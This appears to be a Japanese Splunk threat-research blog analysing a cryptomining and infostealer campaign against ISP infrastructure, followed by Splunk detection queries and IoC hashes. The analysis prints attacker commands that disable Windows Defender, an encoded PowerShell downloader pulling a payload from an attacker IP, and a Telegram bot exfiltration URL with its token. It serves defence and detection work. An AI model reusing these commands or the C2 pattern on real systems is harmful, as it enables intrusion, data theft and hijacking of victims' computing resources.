ISPに対するインフォスティーラー(情報窃取)攻撃

Security Splunk Threat Research Team

Splunk脅威調査チームは、米国西海岸と中国のISPインフラプロバイダーを標的とする攻撃を検出しました。この大規模なエクスプロイト攻撃の発信元は東欧で、シンプルなツールを使って標的コンピューターの処理能力を悪用し、クリプトマイニングペイロードと、以下のような多様な機能を持つバイナリをインストールします。

Splunk脅威調査チームは、攻撃者が検出を回避するために、乗っ取ったアカウントが残すアーティファクト以外の痕跡を残さず、最小限の操作で侵入を行っていることを確認しました。また、スクリプト言語(PythonやPowerShellなど)で動作するツールを多用して移動やピボッティングを行うことで、制限された環境でも活動し、APIコール(Telegramなど)を通じてC2操作を実行できるようにしていることもわかりました。確認されたIP CIDR範囲から、標的はISPインフラであり、その目的はクリプトマイニング操作(XMR)と考えられます。

痕跡

ペイロードの分析

以降のセクションでは、この攻撃で使われる3つの主要な実行可能ファイル、mig.rdp.exe、migrate.exe、x64.exeを分析し、各段階で使われるMITRE ATT&CK®の戦術と技法を明らかにします。

分析に入る前に、攻撃者が Windowsリモート管理(WINRM) をどのように使って、標的ホストへのアクセス権を獲得し、これらのペイロードを実行しているかを調査します。

Windowsリモート管理(T1021.006)

攻撃者は、パスワードが不明な場合や、取得したパスワードがハッシュであった場合、ブルートフォース技法を使ってアカウントへのアクセス権を獲得します。ユーザー名とパスワードを取得すると、WINRMサービスを実行してペイロードを展開します。

図1と図2のスクリーンショットから、cmdとPowerShellを使って、親プロセスのwinrshost.exeから複数のプロセスを実行していることがわかります。このプロセスツリーは、攻撃者がWINRMサービスを使って悪質なペイロードを実行していることを明確に示しています。

WINRMを介した複数のcmdとpowershellの実行

図1:WINRMを介した複数のcmd/powershellの実行

WINRMを介した複数のcmdとpowershellの実行

図2:WINRMを介した複数のcmd/powershellの実行

PowerShellスクリプトをデコードすると、下に示すコードブロックからわかるように、攻撃者は侵害したシステムでさらにペイロードを実行する準備をしています。この準備には、セキュリティ製品機能の無効化や、クリプトマイナーの検出に関連するサービスの終了または停止などが含まれます。また、このようにWINRMサービスを介してPowerShellスクリプトを何回も実行するという動作は、検出した実行可能ファイルの1つであるx64.exeの動作と同じであることもわかりました。x64.exeについては後ほど詳しく分析します。

Set-MpPreference -DisableRealtimeMonitoring $True
Set-MpPreference -ExclusionPath C:\Windows , c:\
gwmi -Class 'Win32_Process' | fl ExecutablePath
sc.exe stop "Windows Updata"; 
sc.exe delete "Windows Updata"; 
sc.exe stop "Windows Management"; 
sc.exe delete "Windows Management"
:
.

mig.rdp.exeの分析

mig.rdp.exeの感染チェーンの簡略図

図3:mig.rdp.exeの感染チェーンの簡略図(この図の拡大版はこちらから参照できます)

コマンド/スクリプトインタープリター(T1059.001、T1059.003)

この攻撃の調査でSplunk脅威調査チームは、侵害されたホストにmig.rdp.exeという名前のファイルがWINRMサービスを介してダウンロードされることを確認しました。この攻撃ではWindowsバッチスクリプトによって、Base64エンコードされたPowerShellスクリプトが実行されます。このPowerShellスクリプトが、mig.rdp.exeをダウンロードして「C:\users\」ディレクトリに保存し、実行します。

下の2つのコードブロックはそれぞれ、mig.rdp.exeペイロードのダウンロードと実行のためのエンコードされたPowerShellスクリプトです。

エンコードされたPowershellスクリプト:
C:\Windows\system32\cmd.exe /C powershell -encodedcommand 
KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUA
bgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMwAuADMA
MgAuADEANgAyAC4ANgA0AC8AbQBpAGcAXwBvAGIALgBlAHgAZQAnACwAJwBjADoAXAB1AHMAZQByAHMA
XABtAGkAZwAuAHIAZABwAC4AZQB4AGUAJwApAAoA
デコード後(ペイロードのダウンロード):
(new-object System.Net.WebClient).
DownloadFile('hxxp[:]//193[.]32[.]162[.]64/mig_ob.exe','c:\users\mig.rdp.exe')
エンコードされたPowerShellスクリプト:
C:\Windows\system32\cmd.exe /C powershell -encodedcommand 
YwA6AFwAdQBzAGUAcgBzAFwAbQBpAGcALgByAGQAcAAuAGUAeABlAAoA

デコード後:
c:\users\mig.rdp.exe

ユーザー実行:悪質なファイル(T1204.002)

ダウンロードされたmig.rdp.exeファイルはRAR SFX実行可能ファイルであり、3つの追加ファイル、ru.bat、st.bat、migrate.exeを投下します。これらのファイルはすべて、「C:\ProgramData」ディレクトリに置かれ、侵害されたホスト上で実行されます。攻撃者は、標準的なRARではなく、自己解凍型アーカイブであるRAR SFXを使用することで、解凍と実行の両方のプロセスをまとめて実行します。この統合された手法により、マルウェア展開の複雑さが軽減され、被害者にRARソフトウェアをインストールさせたり、ファイルを手動で解凍および実行させたりする必要もなくなるため、マルウェア展開の効率と信頼性が向上します。

mig.rdp.exeによって投下されたファイル
図4:mig.rdp.exeによって投下されたファイル

ファイルとディレクトリの権限の変更(T1222.001)

ru.batスクリプトは、st.batを実行するだけのバッチファイルです。st.batスクリプトは、Windows Defender Antivirusのリアルタイム監視機能を無効にします。さらに、Windows Defenderの除外パスに「C:\」ルートドライブを追加して、ここに保存された悪質なコードの検出がすべて回避されるようにします。

st.batは、これらの防御回避に加えて、Windowsユーティリティの takeownicacls.exeを使って「C:\Windows\Tasks\」ディレクトリのアクセス権限の変更も行います。このディレクトリは、攻撃実行段階で、コインマイナーおよびインフォスティーラーマルウェアをインストールするための追加ファイルの投下先として使われます。

図5に、ICACLSアプリケーションを使って、「C:\Windows\Tasks」フォルダーパスでアクセス制御リスト(ACL)の権限の継承を有効にし、(R,REA,RA,RD)モードに設定する方法を示します。権限の内容は次のとおりです。

ディレクトリの権限継承の有効化
図5:ディレクトリの権限継承の有効化

これらの権限により、上記のスクリーンショットで指定されているユーザーは、対象となるファイルとディレクトリを閲覧し、関連付けられたメタデータと拡張属性を読み取ることはできますが、ファイル、ディレクトリ、およびその内容を変更することはできなくなります。この防御回避技法は、ユーザーがファイルを変更または削除できないようにするためのシンプルな方法です。

最後に、st.batスクリプトはmigrate.exeを実行します。migrate.exeはパスワード保護されたRAR SFXファイルで(パスワードは4432)、中に含まれる圧縮ファイルを解凍して実行します。

migrate.exeの分析

migrate.exeは、「C:\Windows\Tasks」フォルダーに複数のファイルを投下して、侵害したホストでの悪質な活動をさらに推し進めます。下の表に、投下されるファイルとその簡単な説明を示します。

ファイル名
説明
ApplicationsFrame.exe
XMRigビットコインマイナー
config.json
XMRigの設定ファイル
IntelConfigService.exe
ウイルス対策ソフトウェアやマルウェア分析ツールをチェックするAutoitコンポーネント
MicrosoftPrt.exe
クリップバンカーマルウェア
MSTask.exe

以下の操作を実行するコンポーネント(Pythonでコンパイル)

  • miner.txtをダウンロード
  • ビットコインマイナーマルウェアの他のインスタンスまたは古いインスタンスのプロセスとサービスを強制終了
  • クリップバンカーを永続化するためにスタートアップフォルダーにコピー
run.bat

以下の操作を実行するバッチスクリプト

  • IntelConfigService.exeをサービスとして登録
  • 投下したすべてのファイルを消去
Superfetch.exe
XMRigビットコインマイナー
WinRing0x64.sys
XMRigビットコインマイナーのドライバーコンポーネント
wmiic.exe
NSSMサービスユーティリティツール
wrap.exe
XMRigビットコインマイナー

ファイルとディレクトリの権限の変更(T1222.001)

migrate.exeを介してさまざまなビットコインマイナーマルウェアが展開されるだけでなく、関連するいくつかのコンポーネントファイルには、自身のファイルへのアクセスを制限するための特別な機能や技法が実装されています。こうした機能の目的は、特定のユーザーや管理者が悪質なファイルを閲覧、変更、削除できないようにすることで、マルウェアが検出を逃れて活動し、システムに永続化できるようにすることです。

図6は、IntelConfigService.exeから逆コンパイルしたAutoItコードのスクリーンショットです。このコードは、侵害されたホストに特定のプロセスユーティリティツールがあるかどうかをチェックします。プロセスのウィンドウタイトルが「Process Hacker」と一致した場合、スクリプトはApplicationFrameHost.exeプロセスを終了します(このプロセスはXMRigクリプトマイナーマルウェアであることが判明しています)。プロセスユーティリティツールが1つも検出されず、ApplicationFrameHost.exeもwrap.exeもプロセスとして実行されていない場合は、別のXMRigビットコインマイナーであるwrap.exeを実行します。さらに、ICACLSを使って、管理者を含む特定のユーザーが、IntelConfigService.exeがある現在のディレクトリ(C:\Windows\Tasks)にアクセスできないようにします。

migrate.exeは、XMRigビットコインマイナーの別の亜種であるSuperfetch.exeと、MSTask.exeの実行も試みます。

ユーザーと管理者のアクセス拒否

図6:ユーザーと管理者のアクセス拒否

イングレスツールの転送(T1105)

攻撃者は、ICACLSを使って特定のユーザーからのファイルアクセスを拒否する以外に、Pythonでコンパイルされた実行可能ファイルMSTask.exeを使って、C2サーバーから別のコンポーネントファイルをダウンロードします。これも、ビットコインマイニング操作に関連している可能性があります。残念ながら、このブログの執筆時点で、図7に示したURLはすでにアクセスできなくなっています。

コインマイナーコンポーネントのダウンロード
図7:コインマイナーコンポーネントのダウンロード

ブートまたはログオン時の自動実行:レジストリ実行キー/スタートアップフォルダー(T1547.001)

migrate.exeによって「C:\Windows\Tasks」に投下されたバッチスクリプトrun.batは、ユーザーのログインまたはシステムの再起動時の自動実行を設定して、永続化の仕組みを構築します。

スタートアップを使った永続化技法
図8:スタートアップを使った永続化技法

システムプロセスの作成または変更:Windowsサービス(T1543.003)

run.batは、スタートアップフォルダーの技法を使用する以外に、「C:\Windows\Tasks\」に投下されたwmiic.exeを介して、IntelConfigService.exeコンポーネントをサービスとしてインストールします。wmiic.exeは、サードパーティツール「nssm」のコピーであり、Windowsオペレーティングシステムでサービスをインストールまたは開始する機能を持ちます。

マルウェアをサービスとしてインストールして開始
図8:マルウェアをサービスとしてインストールして開始

痕跡の除去:ファイルの削除(T1070.004)

権限昇格と永続化が完了すると、migrate.exeは、これまで「C:\ProgramData」ディレクトリに投下したすべてのファイルと「C:\Users\mig.rdp.exe」のコピーを削除します。

コンポーネントファイルの削除
図9:コンポーネントファイルの削除

自動収集(T1119)

MicrosoftPrt.exeは、Pythonでコンパイルされた実行可能ファイルであり、クリップボードから情報を盗み出すためのものです。図10に、クリップボードに保存された仮想通貨ウォレットのアドレスである可能性があるものを識別するために使われるパターンを示します。これらのパターンは、ビットコイン(BTC)、イーサリアム(ETH)、バイナンスチェーンBEP2 (ETHBEP2)、ライトコイン(LTC)、TRON (TRX)などの仮想通貨ウォレットのアドレスを検出するように作られています。

標的の仮想通貨ウォレットを検出するためのパターン
図10:標的の仮想通貨ウォレットを検出するためのパターン

MicrosoftPrt.exeは、pyperclip.pasteライブラリを利用してクリップボードのデータにアクセスすることにより、クリップボードの内容が含まれるExchangeBuffer1内でこれらのパターンを検索します。

クリップボードデータの解析
図11:クリップボードデータの解析

画面キャプチャ(T1113)

MicrosoftPrt.exeは、クリップバンカーと呼ばれる仮想通貨の解析機能に加えて、侵害されたホストのスクリーンショットをキャプチャするpyautogui.screenshot関数を備えています。キャプチャした画像は、「C:\ProgramData\screenshot.png」に保存されます。

スクリーンショットのキャプチャ
図12:スクリーンショットのキャプチャ

自動抽出(T1020)

MicrosoftPrt.exeは、侵害したホストのスクリーンショットを取得し、クリップボードから仮想通貨ウォレットのアドレスである可能性があるものを抽出した後、Telegramボットを介してそのデータをC2サーバーに送信します。図13に、収集したデータをTelegramボットに転送する準備を行うPythonバイトコードを示します。

C2サーバーとして機能するTelegramボット
図13:C2サーバーとして機能するTelegramボット

分析では、このPython実行可能ファイルを完全には逆コンパイルすることができなかったため、TelegramボットのURLを抽出するために役立つPythonバイトコードに頼るしかありませんでした。このボットは、マルウェアが収集したデータの送信先となるC2サーバーとして使われます。下のコードブロックは、Telegramボットで使われる初期化された変数を組み合わせてC2のURLを組み立てるための簡略版の疑似コードを示します。

ベースURL:'https[:]//api[.]telegram[.]org/bot'
トークン:'6114976417:AAELsO_lvdyvXRw-Fwj5RmwJFc81WkgJOYI'
メッセージ送信エンドポイント:'/sendMessage'
クエリーパラメーター:
    chat_id:'552691400'
    テキスト:
        ホスト名(pc)
        ユーザー名(user)
        'LTC\n'
        クリップボードの内容(ExchangeBuffer)
        'LTC'ウォレットアドレス(Litecoin)
LTCデータを送信するための完全なC2リンク:

https[:]//api[.]telegram[.]org/bot6114976417:AAELsO_lvdyvXRw-Fwj5RmwJFc81WkgJOY
I/sendMessage?chat_id=552691400&text=\n\nLTC\n\n

x64.exeの分析

Splunk脅威調査チームは、「C:\Windows\Tasks」に投下されたApplicationFrameHost.exeによって、侵害されたホストにさらに別のファイル、x64.exeがダウンロードされることも確認しました。このファイルは、自己解凍型のRAR SFX実行可能ファイルで(パスワードは2582)、実行時に複数のファイルを展開します。侵害されたホストでのこのスクリプトの動作は、WINRMを介したPowerShellの実行と同じであることがわかりました。

ApplicationFrameHost.exeはまず、エンコードされたPowerShellスクリプトに含まれるバッチスクリプトを実行します。

x64.exeの感染チェーン

図14:x64.exeの感染チェーン(この図の拡大版はこちらから参照できます)

バッチスクリプトによるx64.exeの実行

図15:バッチスクリプトによるx64.exeの実行

ユーザー実行:悪質なファイル(T1204.002)

PowerShellスクリプトをデコードすると、このスクリプトは、そのコンポーネントに関連する可能性のあるすべてのプロセスを終了することがわかりました。その後、x64.exeをダウンロードし、「C:\Windows\Migration」フォルダーに保存します。

x64.exeペイロードのダウンロード
図16:x64.exeペイロードのダウンロード

x64.exeは、以下のファイルを含む複数のファイルを「C:\Windows\Migration」フォルダーに投下します。

ファイル名
説明
auto.exe
Pythonでコンパイルされた実行可能ファイル
マススキャンの準備とWINRMのオープンポートスキャンを実行
masscan.exe
マルチマススキャンツール
run.bat
サービスをインストール
run.exe
マススキャンを実行、クリーンアッププロセスの一部として複数のPowerShellスクリプトを実行
vc.exe
正規のvcredist_x86.exeインストーラー
wmiic.exe
nssmサービスマネージャーユーティリティツール
WP.exe
古いwinpcapインストーラー

アクティブスキャン(T1595)

auto.exeは、C2サーバーからパスワードのリスト(pass.txt)とIPアドレスのリスト(ip.txt)をダウンロードします。このリストは、特定のISPのCIDRを持つ一連の標的IPアドレスに対してブルートフォース攻撃を行うために使われます。このペイロードは、生成したIPアドレスも標的にします。図17に示すように、マルウェアはマススキャンツールを利用して、関数に渡されたIPアドレスに対してアクティブスキャンを実行することがわかりました。

マススキャンに使われる関数

図17:マススキャンに使われる関数

リモートサービス:SSH (T1021.004)

Splunk脅威調査チームは、auto.exeファイルがSSH経由で一連の接続を試みることも確認しました。auto.exeのコードを調べると、特定のSSH認証情報を使ってSSHポート経由でC2サーバーへのリモートアクセスを確立することがわかりました。これらの認証情報は、実行可能ファイルにハードコーディングされている可能性があり、これによってC2サーバーとの認証と通信が可能になります。通信にSSHを使用するのは、サーバーとの安全で永続的な接続を維持することでコマンドの送受信やデータの窃取を確実に行うためだと考えられます。

SSH接続の試行

図18:SSH接続の試行
SSH接続の認証情報
図19:SSH接続の認証情報

リモートサービス:Windowsリモート管理(T1021.006)

auto.exeとrun.exeのどちらにも、WINRMサービスのポート(5985)が特定のIPアドレスに対して開いているかどうかをチェックする関数が含まれています。マルウェアは、そのIPアドレスと、事前にダウンロードしたパスワードリストを使って、スキャンを試みます。接続に成功するかWINRMポートが開いていることを確認すると、検証済みの認証情報をTelegramボットを使用したC2サーバーに送信します。この動作は、他のコンポーネントで確認されたものと同じです。このように、WINRMを利用してリモートアクセスを行い、盗んだ資格情報をさらなる悪用のために転送することで、脆弱性のあるシステムを巧みに悪用します。

auto.exeのWINRMチェック関数

図20:auto.exeのWINRMチェック関数

run.exeのWINRMチェック関数

図21:run.exeのWINRMチェック関数

コマンド/スクリプトインタープリター(T1059)

run.exeは、侵害したホストでクリーンアッププロセスの一部として、複数のスクリプトとPowerShellコマンドを実行します。興味深いことに、このブログですでに解説した、WINRMサービスを使ったPowerShellスクリプトの実行、特に、侵害されたシステムへのmig.rdp.exeのインストールと同じパターンがここでも使われています。これは、このマルウェアが、感染したホストで、クリーンアップ、永続化、検出回避など、さまざまなタスクの実行にWINRMを使い回していることを示しています。

図22に、このマルウェアで実行されるPowerShellスクリプトとバッチスクリプトに含まれるコードスニペットを示します。ここから、このマルウェアが再びmig.rdp.exeをダウンロードして実行することがわかります。ただし、今回ダウンロードするのはアップデート版だと考えられます。さらに、Windows Defender機能を無効化し、Windowsのユーティリティツールである takeown とICACLSを使って、ファイルの所有権を取得してアクセス制御リストを変更することで、各種のアクセス権変更を行います。これらの操作の目的は、侵害したホストで検出を回避し、制御を維持しながら、自らの存在を確保することだと考えられます。

痕跡を除去するためのPowerShellスクリプト

図22:痕跡を除去するためのPowerShellスクリプト

サービス停止(T1489)

このマルウェアは、クリーンアッププロセスの一部として、スケジュールされたタスクを削除し、XMRigクリプトマイナーに関連するすべてのサービスを含め、自身のコンポーネントに関連するすべてのサービスを終了または停止させます。これらの操作の目的は、侵害したシステムでのマルウェア活動の痕跡を除去し、検出を回避して、永続化を確立することだと考えられます。

マルウェアに関するサービス停止

図23:マルウェアに関するサービス停止

レジストリの変更(T1112)

run.exeは、レジストリの変更によるRDPサービスの無効化と、サービス設定の変更によるWINRMサービスの無効化も行います。これらの操作の目的は、リモートアクセスをブロックし、侵害されたシステムの制御を取り戻そうとする試みを阻止して、感染したシステムへの定着をさらに確実にすることです。

RDPとWINRMの無効化

図24:RDPとWINRMの無効化

アカウントアクセスの排除(T1531)

run.exeはさらに、Windows OSの quser ユーティリティを使って、侵害したホストでアクティブなすべてのユーザーのログオフを試みます。この操作は、継続中のセッションを中断し、ユーザーが悪質な活動を検出または阻止するのを回避するための行動の一環だと考えられます。

アクティブユーザーのログオフ
図25:アクティブユーザーのログオフ

攻撃者

標的ホストへの侵入とそれに続く操作の中で確認された活動から、この攻撃者は、スクリプト言語(Pythonでコンパイルされた実行可能ファイル、PowerShellコマンドなど)を利用することで、さまざまな操作の痕跡を最小限に抑え、防御の仕組みを無効化し、リモートアクセスをブロックしており、C2通信にTelegram APIを利用することで検出を回避しています。

これらの活動は、標的ホストでの操作を成功させ、できるだけ多くの処理能力を獲得するために、必要最小限と言えるでしょう。Splunk脅威調査チームは、Cisco TalosのIntelligence Centerを通じてこの攻撃者を検証することもできました。

Cisco Talos Intelligence Centerで特定された攻撃者のIPアドレス

図26:Cisco Talos Intelligence Centerで特定された攻撃者のIPアドレス

また、VirusTotalのチェックでも悪質な活動が確認されました。

VirusTotalで悪質と判定された攻撃者のIPアドレス

図27:VirusTotalで悪質と判定された攻撃者のIPアドレス

標的

このブログの冒頭で述べたとおり、攻撃者は、米国西海岸と中国のISPインフラプロバイダーが使用する特定のCIDRを標的にしています。マススキャンツールを使って大量のIPアドレスをスキャンしてから、開いているポートを調べ、ブルートフォース攻撃によって認証情報を取得します。Splunk脅威調査チームは、標的になっているISPプロバイダーの4,000件以上のIPアドレスを確認しました。

Splunkのセキュリティ検出

Splunk脅威調査チームは、Splunkのお客様がこのクリプトマイニングおよびインフォスティーラー攻撃に関する痕跡を検出するために役立つ一連の検出を開発しました。以下のセクションで説明するこれらの検出は、関連する他の検出とともに、新しい分析ストーリー「Crypto Stealer」に組み込まれています。

Suspicious Process File Path

以下の検出では、正規のソフトウェアには通常関連付けられないファイルパスから実行されているプロセスを特定しています。エンドポイント検出/対応(EDR)エージェントのデータを利用して、エンドポイントデータモデル内の特定のプロセスパスを重点的に調べます。

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)  
as lastTime from datamodel=Endpoint.Processes where Processes.process_path 
IN("*\\windows\\fonts\\*",  
"*\\windows\\temp\\*", "*\\users\\public\\*", "*\\windows\\debug\\*",
 "*\\Users\\Administrator\\Music\\*",  
"*\\Windows\\servicing\\*", "*\\Users\\Default\\*", "*Recycle.bin*",
 "*\\Windows\\Media\\*",  "\\Windows\\repair\\*",  
"*\\temp\\*" , "*\\PerfLogs\\*","*\\windows\\tasks\\*", "*:\\programdata\\*") 
by
  Processes.parent_process_name Processes.parent_process
 Processes.process_path Processes.dest
  Processes.user 
| `drop_dm_object_name(Processes)` 
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`

Suspicious Process File Path検出

図28:Suspicious Process File Path検出

Executables Or Script Creation In Suspicious Path

以下の分析では、Windowsシステム上の不審なファイルパスで実行可能ファイルまたはスクリプトが作成されたことを特定しています。Endpoint.Filesystemデータモデルを使って、通常は実行可能ファイルやスクリプトの保存に使われないディレクトリ(「\windows\fonts\」、「\users\public\」など)に作成された特定の拡張子(.exe、.dll、.ps1など)を持つファイルを検出します。

| tstats `security_content_summariesonly` values(Filesystem.file_path) as
  file_path count min(_time) as firstTime max(_time) as lastTime from
 datamodel=Endpoint.Filesystem
  where Filesystem.file_name IN ("*.exe", "*.dll", "*.sys", "*.com", "*.vbs",
 "*.vbe",
  "*.js", "*.ps1", "*.bat", "*.cmd", "*.pif") AND Filesystem.file_path IN 
("*\\windows\\fonts\\*",
  "*\\windows\\temp\\*", "*\\users\\public\\*", "*\\windows\\debug\\*", 
"*\\Users\\Administrator\\Music\\*",  
"*\\Windows\\servicing\\*", "*\\Users\\Default\\*", "*Recycle.bin*",
 "*\\Windows\\Media\\*",
  "*\\Windows\\repair\\*", "*\\AppData\\Local\\Temp*", "*\\PerfLogs\\*",
 "*:\\temp\\*")  
by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name 
Filesystem.user  
| `drop_dm_object_name(Filesystem)`   
| `security_content_ctime(firstTime)`   
| `security_content_ctime(lastTime)`

Executables Or Script Creation In Suspicious Path検出

図29:Executables Or Script Creation In Suspicious Path検出

Windows Boot or Logon Autostart Execution In Startup Folder

以下の分析では、永続化の技法としてよく使われる、Windowsの「%startup%」フォルダーでのファイルの作成を検出しています。Endpoint.Filesystemデータモデルを使って、このディレクトリでのファイル作成イベントを検出します。

|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
 as lastTime from datamodel=Endpoint.Filesystem where 
Filesystem.file_path = "*\\Microsoft\\Windows\\Start 
Menu\\Programs\\Startup\\*" by Filesystem.file_create_time
 Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.file_path
 Filesystem.process_guid Filesystem.dest 
| `drop_dm_object_name(Filesystem)` 
| `security_content_ctime(firstTime)` 
| `security_content_ctime(lastTime)`

Windows Boot or Logon Autostart Execution In Startup Folder検出

図30:Windows Boot or Logon Autostart Execution In Startup Folder検出

Windows File and Directory Permissions Enable Inheritance

以下の検出では、ICACLSを使った権限継承の有効化を特定しています。この検出では、ICACLSコマンドを使ってファイルまたはディレクトリの権限継承が有効化されるケースを特定します。「/inheritance:e」フラグ(親ディレクトリから継承された権限を復元)を監視することで、より広範なアクセス制御の設定を適用し直す可能性のある変更を特定できます。

| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) 
as lastTime from datamodel=Endpoint.Processes
   where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe") AND 
Processes.process = "*/inheritance:e*"
   by Processes.parent_process_name Processes.parent_process 
Processes.process_name Processes.process Processes.process_guid Processes.dest 
Processes.user
   | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`
   | `security_content_ctime(lastTime)` 

Windows File and Directory Permissions Enable Inheritance検出

図31:Windows File and Directory Permissions Enable Inheritance検出

Windows File and Directory Permissions Remove Inheritance

以下の検出では、ICACLSを使ってファイルまたはディレクトリの権限継承が無効化されたことを特定しています。「/inheritance:r」フラグ(継承された権限を削除し、オプションで明示的な権限を保持または変更)を監視して、アクセスの制限や独立した権限の設定につながる可能性のある変更を特定します。

| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as 
lastTime from datamodel=Endpoint.Processes
   where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe")
  AND Processes.process = "*/inheritance:r*"
   by Processes.parent_process_name Processes.parent_process 
Processes.process_name Processes.process Processes.process_guid Processes.dest 
Processes.user
   | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`
   | `security_content_ctime(lastTime)`

Windows File and Directory Permissions Remove Inheritance検出

図32:Windows File and Directory Permissions Remove Inheritance検出

Windows DNS Query Request by Telegram Bot API

以下の分析では、Telegramに関連するDNS APIコールの使用を検出しています。このAPIコールは、マルウェアがC2サーバーとの通信によく使用するTelegramボットを介したアクセスが行われている可能性があることを示します。

`sysmon` EventCode=22  query = "api.telegram.org"
   | stats count min(_time) as firstTime max(_time) as lastTime  by query answer
 QueryResults QueryStatus process_name process_guid Computer
   | rename Computer as dest
   | `security_content_ctime(firstTime)`
   | `security_content_ctime(lastTime)` 

Windows DNS Query Request by Telegram Bot API検出

図33:Windows DNS Query Request by Telegram Bot API検出

Windows Remote Management Execute Shell

以下の分析では、CMDまたはPowerShellプロセスを開始するwinrshost.exeの実行を検出しています。これはペイロード実行の一部である可能性があります。winrshost.exeはWINRMと関連付けられ、一般的にリモート実行に使用されます。

| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) 
as lastTime from datamodel=Endpoint.Processes
   where Processes.parent_process_name="winrshost.exe" AND 
Processes.process_name IN ("cmd.exe","*powershell*")
  by Processes.parent_process_name Processes.parent_process 
Processes.process_name Processes.process Processes.process_guid Processes.dest 
Processes.user
   | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`
   | `security_content_ctime(lastTime)` 

Windows Remote Management Execute Shell検出

図34:Windows Remote Management Execute Shell検出

Windows File and Directory Enable ReadOnly Permissions

以下の分析では、ファイルまたはフォルダーの権限が読み取り専用アクセスに変更されたことを検出しています。このような変更では、読み取り関連の権限(R、REA、RA、RD)のみが付与され、書き込み(W)や実行(X)の権限が付与されないことが特徴です。

| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as 
lastTime from datamodel=Endpoint.Processes
   where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe") AND 
Processes.process IN ("*/grant*", "*/G*") AND Processes.process IN ("*SYSTEM*", 
"*admin*", "*S-1-1-0*", "*EVERYONE*")
  by Processes.parent_process_name Processes.parent_process 
Processes.process_name Processes.process Processes.process_guid Processes.dest 
Processes.user
  | `drop_dm_object_name(Processes)`
  | rex field=process ":\\((?[^)]+)\\)"
  | eval has_read_attribute=if(match(permission, "R"), "true", "false")
  | eval has_write_execute=if(match(permission, "(W|GA|X|M|F|AD|DC|DE)"), 
"true", "false")
  | where has_write_execute="true" and has_read_attribute = "true"
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)`

Windows File and Directory Enable ReadOnly Permissions検出

図35:Windows File and Directory Enable ReadOnly Permissions検出

Windows Account Access Removal via Logoff Exec

以下の検出では、quserコマンドとlogoffコマンドを使ってユーザーセッションが強制的に終了させられたことを検出しています。このアクティビティは、管理タスクまたは不正アクセスが試行されている可能性を示します。

| tstats `security_content_summariesonly` min(_time) as 
firstTime max(_time) as lastTime from datamodel=Endpoint.Processes
   where Processes.parent_process_name = powershell.exe AND 
Processes.process_name = logoff.exe
  by Processes.parent_process_name Processes.parent_process 
Processes.process_name Processes.process Processes.process_guid Processes.dest 
Processes.user
   | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`
   | `security_content_ctime(lastTime)`

Windows Account Access Removal via Logoff Exec検出

図36:Windows Account Access Removal via Logoff Exec検出

Windows Obfuscated Files or Information via RAR SFX

以下の分析では、SFXインストール中に作成されるRAR SFX .tmpファイルに関連するファイルの生成を監視することで、RAR-SFXファイルの作成を検出しています。実行可能コードと圧縮されたRARデータの組み合わせを示す特定のマーカーに基づいて、ヒューリスティック手法を使ってRAR SFXアーカイブを識別します。

`sysmon` EventCode=11 TargetFilename IN ("*__tmp_rar_sfx_access_check*")
   | stats count min(_time) as firstTime max(_time) as lastTime by Image 
TargetFilename Computer
   | rename Computer as dest
   | rename TargetFilename as file_name
   | `security_content_ctime(firstTime)`
   | `security_content_ctime(lastTime)` 

Windows Obfuscated Files or Information via RAR SFX検出

図37:Windows Obfuscated Files or Information via RAR SFX検出

Crypto Stealer分析ストーリーに全部で43の検出が含まれ、そのすべてが、関連するMITRE ATT&CK技法に対応付けられます。

IoC (侵害の痕跡)

名前
SHA256ハッシュ
ru.bat
76b1237d26b94eb75ed600ba51d4b2414a8da48
a30d06973921bcd0ee9fac761
st.bat
76b1237d26b94eb75ed600ba51d4b2414a8da48
a30d06973921bcd0ee9fac761
migrate.exe
76b1237d26b94eb75ed600ba51d4b2414a8da4
8a30d06973921bcd0ee9fac761
ApplicationsFrameHost.exe
4d084a7e0c656d038d3176e97a4f807d094ce7
8f6b1f92a6ada7b93cf6a7cf03
config.json
78f69097a5ba8480e39d735732d22319d7f4d05
002940d99b326970353c8a545
IntelConfigService.exe
713120bac7807f6fc0a6050135556c0614a66be2
fb476cfe163877f3d03b4d08
MicrosoftPrt.exe
16d2f6194d1b1989fbef4572055dbf62a0d6a2570
b316ac15722192f1c559a50
MSTask.exe
95c101a0164af189cc282eb2d67e143b42e6d57d7
ef396d59715a355a3162b96
run.bat
6c36d61ad03e33dc3bc5d26e336855c4ab14754
1ccb989a35d3ed470fd1d521f
Superfetch.exe
9e24c7b4604aa3022325b62154ac80dc76533fa
96a3418d8e15d28c998fb9c53
WinRing0x64.sys
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe
0fd418a3dfdac60b5c160ee5
wmiic.exe
644c9745d1d2f679db73fcb717dd37e180e19d5b
0fc74575e4cefe4f543f2768
Wrap.exe
1cf2bdb1cdd34bb50d60f21b8208041913747b8d
eca5f26aa187d2e8c0e9a105
run.exe
270b8685104389b8341dc7c68fb362579170b82
bffe89cc964cb27c10e496f08
wmiic.exe
644c9745d1d2f679db73fcb717dd37e180e19d5b
0fc74575e4cefe4f543f2768
auto.exe
2b8be1bbaf17a69326f65096a31054a1198e66a8
3e31c37d1eee1c2580d6c7fa
masscan.exe
837dc4e83fcefc8334384c88d672eb2dee31bceb
64657ca7bb4322536a810192
run.bat
57d0b8a89b216aadb6525bccfdb67917d52e2398
56ae9011721e84746b99571e
x64.exe
